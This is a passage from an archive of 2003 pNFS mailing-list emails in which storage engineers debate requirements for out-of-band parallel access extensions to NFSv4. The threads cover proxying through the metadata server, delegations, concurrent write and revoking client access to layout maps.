be more customer oriented and feature set driven. Topics: 0.0 Defining Requirements 1.0 Minimalism 1.1 Proxying 1.2 Cache consistency 1.3 Delegation promotion & reacquisition 1.4 Layout delegations 1.5 Concurrent write 1.6 Map revocation 1.7 Separability 1.8 NTFS application semantics ---------------------------------------- [0.0 Defining Requirements]: What is the scope of requirements subgroup doing and how is it related to the ops subgroup discussions? I am beginning to see a significant difference between a ""problem statement"" document and a ""requirements"" document. I believe that in a problem statement we can make a strong case for a set of properties and applications that are currently underserved in NFSv4, and a direction that could in one or more steps resolve some or all of the problem. Alternatively I am coming to see the detailed requirements as a compendium of the most contentious and impactful issues, how they were argued and what resolution was accepted. I can see the problem statement getting done before we have sorted out all the hard problems, or even run into all of them, so it is a good document for establishing our interests in the IETF. But I suspect that the requirements document stays open well into agreement on the specification issues. For comparison, the first NFSv4 document was called ""Design Considerations"" (rfc2624): This document is to cover the ""limitations and deficiencies of NFS version 3"". This document will also be used as a mechanism to focus discussion and avenues of investigation as the definition of NFS version 4 progresses. Therefore, the contents of this document cover the general functional/feature areas that are anticipated for NFS version 4. I propose that what we have started into in the requirements subgroup is the problem statement, and that we should be careful to not let it get bogged down in the longer term requirements resolutions. ---------------------------------------- [1.0 Minimalism]: How much additional functionality do we sacrifice to limit the changes we seek in NFSv4? On one hand, some have said that getting to one true file system, with the high performance and the manageability of federated systems that might come with out-of-band access, is worth not matching *every* feature of all existing out-of-band file systems with this first set of extensions to NFSv4. That we should bite off what we can do quickly, correctly, with a clear incremental value to NFSv4, and roadmap more aggressive changes that could bog us down, or introduce so much complexity that interoperability becomes elusive. And that we should be mindful of the reception we may get from the IETF NFS working group if we *appear* to use out-of-band as an excuse to ask for a brace of changes in other aspects of NFSv4. On the other hand, the other out-of-band file systems that are inspiring the evolution of NFSv4 have customers that may not accept any backward sets in an evolution to NFSv4. This could create the need to develop, carry and differentiate all the diverse one-off out-of-band files systems plus a new out-of-band NFSv4. Some think it makes more sense to go far enough with this first NFSv4 to simplify the marketplace by making it reasonable for various vendors to deprecate/end-of-life/begin to wean from their proprietary offering. While it is certainly conceivable that we could be designing a roadmap of solutions in detail from the start, communication among standards bodies is hard enough without the challenge of designing specs for both with and without a requirement. This is a central issue in defining the requirements for out-of-band NFSv4, or at least for defining the scope of the first set of extensions. ---------------------------------------- [1.1 Proxying]: Operations/work that can only be done out-of-band vs alternative access through the NFSv4 server for all operations/work On one hand, some suggest that a set of out-of-band clients should not have to also have a data path through the NFSv4 metadata server. One reason is that customers may not tolerate the large variability in performance between out-of-band (when the going is good) and in-band (when the server chooses not to grant or to take away a delegation) accesses. Another reason, and I paraphrase someone else here, is that it is possible to construct out-of-band metadata servers that do not have access to the data servers except through the clients -- I encourage the source of this scenario to replace my paraphrasing with a correct use case, because I find it odd to design for file servers that do not have access to the data servers. On the other hand, others have suggested that any access or work that a client can do out-of-band should be possible with one or more commands applied to the metadata server's data path. This has been proposed for coping with recalled delegations, including concurrent writing by multiple clients; retry after client access errors, provided adequate idempotency of out-of-band operations; and many alternative implementations of out-of-band clients, including legacy clients that use out-of-band never or rarely. I think this is a topic that should be argued one way or the other in the requirements document. Use cases and examples in other systems would be best. ---------------------------------------- [1.2 Cache consistency]: NFSv4 delegations are not about client cache consistency; does out-of-band access require stronger cache consistency than NFSv4 provides NFSv4 cache consistency is a client function, based on testing file attributes on open and close. While a client holds a delegation, its users can close and reopen a file without recourse to the server, so inside a delegation a client cache contents for that file must be valid and up to date. However, a client cannot mandate getting a delegation on open, it must immediately (approximately) give up a delegation if it is recalled and a client has no way to reacquire a delegation on an open file after that delegation has been recalled. So we must not confuse delegations with strong cache consistency. Many of the various proprietary out-of-band file systems have much stronger client cache consistency, involving more different types and interactions of cache callbacks. Some of these differences may have been motivated by desire for differentiation, some by apps underserved by NFS cache consistency semantics, and some by the long standing designer belief that stronger semantics are theoretically better. The question we must resolve, and argue in the requirements document, is whether out-of-band access only within the NFSv4 cache consistency and delegations is not sufficient, why and how much more must/should be added before such a product is valuable. I think that application use cases should be discussed. And I caution us that most of us are the converted, coming to NFSv4 from one of these proprietary file systems, so gaining agreement amongst ourselves easily is not a good predictor of the challenge of gaining the agreement of the NFS standards working group. ---------------------------------------- [1.3 Delegation promotion & reacquisition]: must/should NFSv4 offer mechanisms for clients to possess a delegations more than once per open Delegations in NFSv4 are new, and came with significant concern about lots of complexity for not much performance, as they may do as little as avoid the client waiting for one round trip to the server on open. So, as described above with respect to cache consistency, the limitations on delegations can mean great difficulties for clients having performance requirements calling for out-of-band access mostly, or exclusively. So we have begun to propose mechanisms for clients to be more aggressive about seeking, obtaining, reobtaining after a recall, and even waiting for a signal that a denied delegation is now available. This could lead to discussions of transitioning from a write delegation to a read delegation, rather than no delegation, when a second delegation is requested. We all know, or can imagine, plenty of mechanism for this type of logic -- after all, it is not far from what some systems do for cache consistency. But all of this comes with complexity, that threat to interoperability, and chips away at minimalism. I would suggest that capture use cases to drive requirements for controversial steps down this path. ---------------------------------------- [1.4 Layout delegations]: can/should layout metadata ""ride"" on NFSv4 delegations or are new ""layout"" delegations needed If the delegations currently provided by NFSv4 are insufficient, for reasons of cache consistency or the needed to be able to reacquire a delegation in order to ensure that performance degradations can be limited, then some are suggesting that rather than proposing to change the semantics of the current delegations, we add new delegations tailored to the purpose, so called layout delegations. This is consistent with the advice we heard Dec 4 that it is much easier, and more welcomed, to add new things to NFSv4 than to change what is already there. Assuming that in response to requirements arguments, we find the existing NFSv4 delegations insufficient, then I think this topic is an implementation issue for the NFSv4 operations subgroup. But I for one would like to err on the side of fewer NFSv4 changes and slightly weaker semantics, where possible. ---------------------------------------- [1.5 Concurrent write]: write delegations now are held by exactly one client, if any; should/must NFS support multiple clients holding concurrent layout delegations One specifically excluded use case for out-of-band access is concurrent write, actually concurrent read and write, or write and write, by different clients. This is normally associated with expensive client cache consistency algorithms, but for our purposes here, the issue is managing the ordering, grouping/atomicity, and failure recovery of changes on data servers, not updating/invalidating the contents of client caches. It is certainly feasible to address out-of-band concurrent writing to data servers without addressing client cache consistency, if we so choose. I believe three folks with experience with different existing file systems referred to databases as the use case for needing concurrent write. I believe out-of-band concurrent write is an important use case to call out carefully, because a ambitious implementation of it could lead to a lot of state-maintaining messaging. Some have said that, allowing multiple clients to hold the same lock is a current need in NFSv4, and that a solution to this can provide the infrastructure for concurrent delegation of layout maps for read and overwrite (when growing the size of the file is not needed). This seems like a good operations discussion topic. ---------------------------------------- [1.6 Map revocation]: can/must the NFS server be able to revoke a client's use of a map, and enforce no future use (fence off the map) NFSv4 delegations allow a broken or malicious client no additional power to damage the stored file system because state changes must go through the server. But a delegated layout map that is held and used by a broken or malicious client after the delegation has been recalled could damage the stored file system in a way that the server, by not being on the data path, has no obvious way to protect against. So there has been a call for the ability for the server to fence out a client or enforce the revocation of a client's access to a specific file or filesystem. At first glance all three data server technologies, blocks, objects and files have some solution (blocks: lun masking/acls or SAN zoning; objects: capability revocation, key replacement; files: component file acls, volatile file handles). The scope and cost of each of these mechanisms maybe dramatically different. Some would say that this is going to end up being a differentiating property of the choice of underlying data server. For example, many would say that in systems that allow out-of-band block access, the client machines must be trustworthy to respect the delegation recall message (and lease timeouts). Others would object to this weakening of the NFS server integrity. I also see this as a requirements argument. ---------------------------------------- [1.7 Separability]: Independence vs co-dependence of layout metadata access and NFSv4 On one hand, simple ""an address per block/object/file"" maps could be represented as an array of NFSv4 attributes, manipulated using existing NFSv4 attribute accessing commands, so to reduce the amount of change to NFSv4. On the other hand, particularly for block maps of large files composed of extents, simple array indexing may be cumbersome and much bulkier than necessary. And also on the other hand, some suggest that it is desirable for the metadata access protocol to be separate from NFSv4 attribute access, so that the same metadata access protocol might be reusable under other file services. I think this topic would benefit from proposed metadata formats, particularly the SBC (block) maps. ---------------------------------------- [1.8 NTFS application semantics]: applications coded to NTFS semantics are different from those coded to POSIX and UNIX semantics NFS originated as a exported file system, whose semantics were defined by the underlying local filesystem on the file server. But since that local filesystem has almost always been UNIX or UNIX like, customers have come to think of NFS semantics as a well defined thing, not far from UNIX semantics (but with a customary list of POSIX exceptions). The semantics NTFS presents to applications using its storage is different in significant ways. Some of us see an evolution to better support for clients trying to support NTFS well to be very desirable. Others see chasing this as more than the NFS group as a whole is likely to bite off. This, and any other issues about wire protocol support for important semantics needed by different application file system interfaces (middleware exploited API extensions in databases or parallel programming systems such as MPI-IO) are also requirements topics. End summary 1. >From bhalevy@panasas.com Wed Dec 17 22:13:53 2003 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 96391 invoked from network); 18 Dec 2003 06:13:52 -0000 Received: from unknown (66.218.66.217) by m5.grp.scd.yahoo.com with QMQP; 18 Dec 2003 06:13:52 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 18 Dec 2003 06:13:52 -0000 Received: from yang ([172.17.19.55]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1NF3; Thu, 18 Dec 2003 01:13:50 -0500 To: Cc: Date: Thu, 18 Dec 2003 01:13:41 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Importance: Normal In-reply-to: X-eGroups-Remote-IP: 65.194.124.178 From: ""Benny Halevy"" Subject: RE: [pnfs-reqs] Re: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy Garth, In case you guys want to broaden the problem statement... There are a couple of arguments I believe may be appealing to the IETF: 1. Interoperability. Several of the existing non monolithic file systems mentioned use proprietary protocols carried over Internet protocols. Standardizing their access protocols within NFS will allow interoperability between heterogeneous client hosts and heterogeneous server systems. The standardized client argument may fall into the interoperability category from the IETF point of view. 2. Taking advantage of IP SANs With the introduction of iSCSI, block and object based storage systems become accessible over IP based networks. NEPS takes advantage of this paradigm be allowing clients direct (yet moderated and secure) access to networked storage and therefore it enhances the value proposition of IP SANs. Benny > -----Original Message----- > From: Garth Gibson [mailto:garth@Panasas.Com] > Sent: Thursday, December 18, 2003 00:34 > To: pnfs-reqs@yahoogroups.com > Cc: Garth Gibson > Subject: [pnfs-reqs] Re: NEPS-REQS: getting started > > > Tyce, > > [I've emailed this through the Yahoo group Benny set up, > http://groups.yahoo.com/group/pnfs-reqs. I will forward it to the > folks that have not yet joined this Yahoo group after I get it sent > back to me :-)] > > The RDDP problem statement is similar and dissimilar to what we are > doing. It is similar in that it is about higher performance, which > always turns out to be cost-performance. It is dissimilar in that it > was fighting an uphill battle to get RDMA into the IETF, while we are > looking at no preconceived support or opposition in the IETF (that I am > aware of). And it is dissimilar in that what we are proposing helps in > the manageability of federated systems, which is not really a > performance issue. > > I followed the RDDP example closely because it was easy -- our > arguments on strictly bandwidth are at least as strong, in my opinion. > And because I am not certain how to predict the IETF management's > reaction to a manageability argument. And the standardized client code > argument, although very import to some of us, seemed outside my notion > of the IETF scope. > > Perhaps those with more experience selling ideas to the IETF could > educate us? Should we focus on a small number of the most easily > demonstrated problems or fill the problem statement out with all the > problems we can contribute to solving? > > garth > > > On Monday, December 15, 2003, at 01:49 PM, Tyce McLarty wrote: > > I've been wondering how important it is too cast the ""problem"" as one > > of cost, rather than as the ability to do things that cannot be done > > today with added benefits in cost reduction. > > > > I liked the list that Garth put up at the workshop: > > > > Scalable bandwidth > > Scalable capacity > > Load balancing > > capacity balancing > > > > plus the big winner - a standardized client. > > > > So the Introduction would be basically two paragraphs with (in either > > order): > > 1. proposal to extend NFSv4 to allow parallel out-of-band client > > access to data separate from metadata operations. > > 2. why it's important to do using the reasons outlined above. > > > > My question is - How close do we need to model the RDMA problem > > statement? Is cost the best/only justification or can we use new & > > needed capability plus value added? > > > > I think Gary has slanted his additions this direction, but seems like > > we should all agree on some basic principles before we get too deep in > > word-smithing. > > > > Thanks, > > Tyce > > > > At 10:02 PM 12/12/2003 -0700, Gary Grider wrote: > > > >> I decided to toss out a very quick and dirty draft with a lot of > >> parts missing. > >> Nothing sacred, just thoughts as they occurred to me partially > >> organized. > >> > >> I put it in Word so I could get formatting, TOC, etc. > >> > >> I am attaching a Word and PDF. > >> > >> I would be happy to put this on a web site for us if you want. I > >> also would be happy to > >> centralize the edits and re-post it on the web etc. > >> > >> Thanks > >> Gary > > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From garth@panasas.com Thu Dec 18 14:37:55 2003 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 89807 invoked from network); 18 Dec 2003 22:37:54 -0000 Received: from unknown (66.218.66.216) by m13.grp.scd.yahoo.com with QMQP; 18 Dec 2003 22:37:54 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta1.grp.scd.yahoo.com with SMTP; 18 Dec 2003 22:37:54 -0000 Received: from panasas.com ([172.17.133.207]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY1RMV; Thu, 18 Dec 2003 17:37:52 -0500 Date: Thu, 18 Dec 2003 17:37:50 -0500 Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) To: pNFS Operations , pNFS Requirements Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: X-Mailer: Apple Mail (2.553) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson ADVERTISEMENT Thanks Dave. I agree. Lets refine the proxying issues: Legacy, strict, functional and recovery proxying. [1.1.0 Legacy proxying]: an NFS-v4.x server must be able to execute the full NFS-v4.0 or NFS-v4.1 protocol. I think Dave has given the case for this strongly. I do not see any case against this. ------------------------------------------- [1.1.1 Strict proxying]: does an NFS-v4.x server have to be able to execute exactly the wire packet that an NFS-v4.x client might have sent to a SBC/OSD/NFS data server? This captures the notion that a metadata server must also be a store-and-forward proxy for every data server it manages. It requires NFS-v4.x servers implement SCSI SBC over FC, if their data servers implement it; and the same for objects and files. This only makes sense to me for NFS data servers. And it is not what I intended in my prior summary, although it is a relevant question. I would say that pNFS requirements not require Strict Proxying. ------------------------------------------- [1.1.2 Functional proxying]: a file transformation achievable by an NFS-v4.x client using a set of data server operations must be a equivalently achievable using a (probably different) set of NFS-v4.x server operations This is the topic I intended to address in the last email. I believe Dave is arguing that even with metadata servers that do not have access to their data servers, the vendor of such a metadata server can construct a proprietary protocol for the metadata server to (strict) proxy data server accesses through clients that do have data server access. I am not comfortable making up a counter to this, so I exhort those that want a metadata server without data server access to speak up if they disagree. > On one hand, some suggest that a set of out-of-band clients should not > have to also have a data path through the NFSv4 metadata server. One > reason is that customers may not tolerate the large variability in > performance between out-of-band (when the going is good) and in-band > (when the server chooses not to grant or to take away a delegation) > accesses. Another reason, and I paraphrase someone else here, is that > it is possible to construct out-of-band metadata servers that do not > have access to the data servers except through the clients -- I > encourage the source of this scenario to replace my paraphrasing with > a correct use case, because I find it odd to design for file servers > that do not have access to the data servers. > > On the other hand, others have suggested that any access or work that > a client can do out-of-band should be possible with one or more > commands applied to the metadata server's data path. This has been > proposed for coping with recalled delegations, including concurrent > writing by multiple clients; retry after client access errors, > provided adequate idempotency of out-of-band operations; and many > alternative implementations of out-of-band clients, including legacy > clients that use out-of-band never or rarely. > > I think this is a topic that should be argued one way or the other in > the requirements document. Use cases and examples in other systems > would be best. ------------------------------------------- [1.1.3 Recovery proxying]: a file transformation begun by an NFS-v4.x client using a set of data server operations, but interrupted before completion, must be equivalently completable using a (probably different) set of NFS-v4.x server operations Some have suggested that having this property will greatly simplify the amount of spec that is devoted to out-of-band error recovery. Others have commented that a simple way to achieve this would be to require that all operations on data servers should be idempotent. ------------------------------------------- garth On Thursday, December 18, 2003, at 12:21 PM, Noveck, Dave wrote: > Good summary. > > I want to address the ""proxying"" issue. > >> [1.1 Proxying]: Operations/work that can only be done out-of-band vs >> alternative access through the NFSv4 server for all operations/work > > If you are talking about operations in the extension (let's call it > NFS-v4.x), that are not in the previous minor version (let's assume > that is nfs-v4.1), then you have a choice of whether these are > supported > for access through the server, or only for access by the client with > the > data server. Let's call this the issue of proxying in the strict > sense. > > There is another issue that people are calling ""proxying"" but is really > logically distinct. That is the issue of access by the previous minor > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > separate data servers and they need to be able to work. End of story. > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > have a minor version without proxying. You don't have a minor version > at all. I believe the working group is never going to accept that. > Even if I'm wrong and you can get the working group to accept that, > it is going to be very contentious and thus take up a lot of time. > Anybody, who really wants to go down this path should seriously > consider > the trade-off between supporting something they find objectionable and > getting a standard a lot later, if at all. > >> On one hand, some suggest that a set of out-of-band clients should not >> have to also have a data path through the NFSv4 metadata server. One >> reason is that customers may not tolerate the large variability in >> performance between out-of-band (when the going is good) and in-band >> (when the server chooses not to grant or to take away a delegation) >> accesses. > > Then such customers will use clients that access things out-of-band > whenever possible, and servers that never refuse to give out layout > delegations. You have a number of quality-of-implementations issues > for v4.x clients and servers. If a particular client only supports > access via v4.0, then performance will suck, and the working group > will understand that, but it won't accept not being able to use > v4.0 at all. The customer is going to be motivated to upgrade his > clients for those that need high-performance access, but he may be > OK with some clients using v4.0 for a long time, depending on the > particular performance those clients need. (And some will want v2/v3 > access but that is a matter that the working group has no say about). > >> Another reason, and I paraphrase someone else here, is that >> it is possible to construct out-of-band metadata servers that do not >> have access to the data servers except through the clients -- I >> encourage the source of this scenario to replace my paraphrasing with >> a >> correct use case, because I find it odd to design for file servers >> that >> do not have access to the data servers. > > So let's grant that it is possible (and we'll pass over the issue of > whether it is desirable, and in fact so desirable that one is willing > to > not get a standard and or get it much later). > > So we have a metadata server and it, for whatever reason, does not have > access to the data servers. However, by hypothesis, there are machines > (e.g. clients), that can communicate with both. So, if one has such an > architecture, then one can take such a machine, give it a > communication path > to the meta-data server and the data server and have the meta-data > server > transfer v4.0 READ requests to it, let it read the data from the data > server and send it back to the meta-data server who send it back to the > original requestor. Is that a very good solution? No. Is it likely > to be performant? No. Will it satisfy any particular customer? I > don't > know and that is the implementer's business decision. Will it satisfy > the hypothetical customer who doesn't care about v4.0 access? Clearly. > Will it satisfy the v4 working group? Yes, because they are not in the > business of telling you how performant v4.0 access has got to be. > >> On the other hand, others have suggested that any access or work that >> a >> client can do out-of-band should be possible with one or more commands >> applied to the metadata server's data path. This has been proposed >> for >> coping with recalled delegations, including concurrent writing by >> multiple clients; retry after client access errors, provided adequate >> idempotency of out-of-band operations; and many alternative >> implementations of out-of-band clients, including legacy clients that >> use out-of-band never or rarely. > > This effort is going to take a while, but if we manage it correctly, it > is not going to take so long that v3 clients are going to be rare > things, > and they have to be supported. But v3 clients are not an issue for the > working group. V4.0 clients are and they will be around and you will > have to support them, and I believe the working group is not going to > be disposed to cut you a lot of slack on this issue (and I don't see > why it should). > >> I think this is a topic that should be argued one way or the other in >> the requirements document. Use cases and examples in other systems >> would be best. > > I think the requirement should be that this work should be done as a > set of extensions to nfs-v4 delivered as a v4 minor version. If there > is some feature/requirement that conflicts with that model (and it is a > pretty flexible one), then you have to think long and hard before > deciding > that that requirement is more important than this basic deivery > vehicle, > because it seems to me that it is, in almost all respects, the ideal > way > to make this sort of technology available for widespread use. > > > > > > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-ops/ > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > >From julian_satran@il.ibm.com Mon Dec 22 02:26:02 2003 Return-Path: X-Sender: Julian_Satran@il.ibm.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 86299 invoked from network); 22 Dec 2003 10:26:01 -0000 Received: from unknown (66.218.66.218) by m11.grp.scd.yahoo.com with QMQP; 22 Dec 2003 10:26:01 -0000 Received: from unknown (HELO mtagate3.de.ibm.com) (195.212.29.152) by mta3.grp.scd.yahoo.com with SMTP; 22 Dec 2003 10:26:00 -0000 Received: from d12relay01.megacenter.de.ibm.com (d12relay01.megacenter.de.ibm.com [9.149.165.180] (may be forged)) by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id hBMAPxn0031456; Mon, 22 Dec 2003 10:25:59 GMT Received: from d10ml001.telaviv.ibm.com (d12av02.megacenter.de.ibm.com [9.149.165.228]) by d12relay01.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id hBMAPwG4256428; Mon, 22 Dec 2003 11:25:58 +0100 In-Reply-To: To: pnfs-ops@yahoogroups.com Cc: pnfs-ops@yahoogroups.com, pnfs-reqs@yahoogroups.com MIME-Version: 1.0 X-Mailer: Lotus Notes Release 6.5 September 26, 2003 Message-ID: Date: Mon, 22 Dec 2003 12:25:57 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 6.0.2CF2|July 23, 2003) at 22/12/2003 12:25:58, Serialize complete at 22/12/2003 12:25:58 Content-Type: multipart/alternative; boundary=""=_alternative 00394B9DC2256E04_="" X-eGroups-Remote-IP: 195.212.29.152 From: Julian Satran Subject: RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 X-Yahoo-Group-Post: member; u=64714603 Since I raised the issue of the metadata server not having access to all it's data servers (or at least not with adequate bandwidth) I feel compelled to say that Dave's arguments about supporting 4.0 are compelling enough to make it mandatory. The open issue is if it is legal for a ""compliant server"" to have serving data disabled by a local administrative function (the old ""must implement but may use""). Otherwise an organization that wants to discourage use of data serving through the metadata server has very little it can do to enforce policy in a way that will not affect other clients (it may do serve poorly but this still affects other clients). Julo ""Noveck, Dave"" 18/12/2003 19:21 Please respond to pnfs-ops@yahoogroups.com To , cc Subject RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 Good summary. I want to address the ""proxying"" issue. > [1.1 Proxying]: Operations/work that can only be done out-of-band vs > alternative access through the NFSv4 server for all operations/work If you are talking about operations in the extension (let's call it NFS-v4.x), that are not in the previous minor version (let's assume that is nfs-v4.1), then you have a choice of whether these are supported for access through the server, or only for access by the client with the data server. Let's call this the issue of proxying in the strict sense. There is another issue that people are calling ""proxying"" but is really logically distinct. That is the issue of access by the previous minor version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of separate data servers and they need to be able to work. End of story. If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not have a minor version without proxying. You don't have a minor version at all. I believe the working group is never going to accept that. Even if I'm wrong and you can get the working group to accept that, it is going to be very contentious and thus take up a lot of time. Anybody, who really wants to go down this path should seriously consider the trade-off between supporting something they find objectionable and getting a standard a lot later, if at all. > On one hand, some suggest that a set of out-of-band clients should not > have to also have a data path through the NFSv4 metadata server. One > reason is that customers may not tolerate the large variability in > performance between out-of-band (when the going is good) and in-band > (when the server chooses not to grant or to take away a delegation) > accesses. Then such customers will use clients that access things out-of-band whenever possible, and servers that never refuse to give out layout delegations. You have a number of quality-of-implementations issues for v4.x clients and servers. If a particular client only supports access via v4.0, then performance will suck, and the working group will understand that, but it won't accept not being able to use v4.0 at all. The customer is going to be motivated to upgrade his clients for those that need high-performance access, but he may be OK with some clients using v4.0 for a long time, depending on the particular performance those clients need. (And some will want v2/v3 access but that is a matter that the working group has no say about). > Another reason, and I paraphrase someone else here, is that > it is possible to construct out-of-band metadata servers that do not > have access to the data servers except through the clients -- I > encourage the source of this scenario to replace my paraphrasing with a > correct use case, because I find it odd to design for file servers that > do not have access to the data servers. So let's grant that it is possible (and we'll pass over the issue of whether it is desirable, and in fact so desirable that one is willing to not get a standard and or get it much later). So we have a metadata server and it, for whatever reason, does not have access to the data servers. However, by hypothesis, there are machines (e.g. clients), that can communicate with both. So, if one has such an architecture, then one can take such a machine, give it a communication path to the meta-data server and the data server and have the meta-data server transfer v4.0 READ requests to it, let it read the data from the data server and send it back to the meta-data server who send it back to the original requestor. Is that a very good solution? No. Is it likely to be performant? No. Will it satisfy any particular customer? I don't know and that is the implementer's business decision. Will it satisfy the hypothetical customer who doesn't care about v4.0 access? Clearly. Will it satisfy the v4 working group? Yes, because they are not in the business of telling you how performant v4.0 access has got to be. > On the other hand, others have suggested that any access or work that a > client can do out-of-band should be possible with one or more commands > applied to the metadata server's data path. This has been proposed for > coping with recalled delegations, including concurrent writing by > multiple clients; retry after client access errors, provided adequate > idempotency of out-of-band operations; and many alternative > implementations of out-of-band clients, including legacy clients that > use out-of-band never or rarely. This effort is going to take a while, but if we manage it correctly, it is not going to take so long that v3 clients are going to be rare things, and they have to be supported. But v3 clients are not an issue for the working group. V4.0 clients are and they will be around and you will have to support them, and I believe the working group is not going to be disposed to cut you a lot of slack on this issue (and I don't see why it should). > I think this is a topic that should be argued one way or the other in > the requirements document. Use cases and examples in other systems > would be best. I think the requirement should be that this work should be done as a set of extensions to nfs-v4 delivered as a v4 minor version. If there is some feature/requirement that conflicts with that model (and it is a pretty flexible one), then you have to think long and hard before deciding that that requirement is more important than this basic deivery vehicle, because it seems to me that it is, in almost all respects, the ideal way to make this sort of technology available for widespread use. To unsubscribe from this group, send an email to: pnfs-ops-unsubscribe@yahoogroups.com Yahoo! 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Groups is subject to: http://docs.yahoo.com/info/terms/ >From bhalevy@panasas.com Mon Dec 22 11:42:01 2003 Return-Path: X-Sender: bhalevy@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 94145 invoked from network); 22 Dec 2003 19:41:59 -0000 Received: from unknown (66.218.66.166) by m6.grp.scd.yahoo.com with QMQP; 22 Dec 2003 19:41:59 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta5.grp.scd.yahoo.com with SMTP; 22 Dec 2003 19:41:59 -0000 Received: by PIKES.panasas.com with Internet Mail Service (5.5.2653.19) id ; Mon, 22 Dec 2003 14:41:57 -0500 Message-ID: <30489F1321F5C343ACF6872B2CF7942A05D38733@PIKES.panasas.com> To: ""'julian_satran@il.ibm.com'"" , ""'pnfs-ops@yahoogroups.com'"" Cc: ""'pnfs-reqs@yahoogroups.com'"" Date: Mon, 22 Dec 2003 14:41:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset=""iso-8859-1"" X-eGroups-Remote-IP: 65.194.124.178 From: ""Halevy, Benny"" Subject: RE: [pnfs-ops] delegation arguments summary X-Yahoo-Group-Post: member; u=169276676 X-Yahoo-Profile: benny_halevy > > * layout delegation revocation (and enforcement of) > > This issue is orthogonal. We dicussed volatile file handles, OSD > > capabilities, and SAN LUN mapping techniques. > > > > Almost orthogonal. There is a subtle problem of sharing layout delegations if one of clientts is doing writes or appends. This falls under CW (concurrent write) sharing since there is one or more writers. By saying ""this issue is orthogonal"" I meant that the mechanism for revoking the layout delegation is orthogonal to whether we need a complete new set of delegations or extend the current model. I agree that when the layout changes due to writes, appends, or for any other reason the server has to recall layout delegations, at least from those clients that requested layout for region that's about to be the changed. Hopefully, all clients behave nicely and their delegations do not have to be revoked. You want to revoke the layout delegation from unresponsive clients since allowing them to use the stale layout may end up with data corruption. Speaking of append, I always thought it'd be really nice to have an NFS APPEND operation... This seems like something we can propose right away on nfsv4@ietf.org How does people on this list feel about that? A use case I encountered is a customer that use a shared file as a log and have multiple nodes in the cluster appending to that file with some coordination (right now, NFSv3 + NLM). They don't care about ordering of the appended records and they even accept records written more than once to the file, but they do care about the consistency of each record so writers can't just silently overwrite each other. > The issue is furthermore complicated by the ""sparse"" layout that we all want to support (do we?) Can you please turn the details knob on ""sparse"" layout and maybe give a concrete example where this layout make the proposed model fall short? > > layout delegation: > > - returned on READ_IND, WRITE_IND, LAYOUT_DELEG_ASK > > > > Covers only layout (aggregation header, map, handles/caps). > > Optional, recallable, revocable. > > Assures the client that the layout information it has will not change. > > But the layout information may change even in the most trivial single writer case and definitely in RW cases. Correct, when the layout is about to be changed (a writer calls COMMIT_IND) or when there is a write-write conflict (two clients call WRITE_IND for overlapping regions) some or all layout delegations must be recalled. > > WRITE yes client can safely cache read and write data, > > serve opens, and locks locally and can perform > > out-of-band or server reads and writes. > At least this requires mapping updates for block storage. > For those souls that want strict local-FS semantics (UNIX) cache and map invalidations can be a side-effect of the byte-range locking mechanism. This sounds like something that falls into the distributed cache coherency realm - meaning multiple clients have a CW data delegation and a layout delegation. My assumption was that in this case the logical block map changes rarely when the clients are writing in place, otherwise they should fall back to writing through the server. Having an efficient distributed cache coherency mechanism in NFS seems to me like a stretch but it's worth a discussion to see if block based SAN filesystems can or can't live without it. Benny >From ggrider@lanl.gov Mon Dec 22 11:53:58 2003 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 3731 invoked from network); 22 Dec 2003 19:53:57 -0000 Received: from unknown (66.218.66.166) by m11.grp.scd.yahoo.com with QMQP; 22 Dec 2003 19:53:57 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta5.grp.scd.yahoo.com with SMTP; 22 Dec 2003 19:53:57 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id 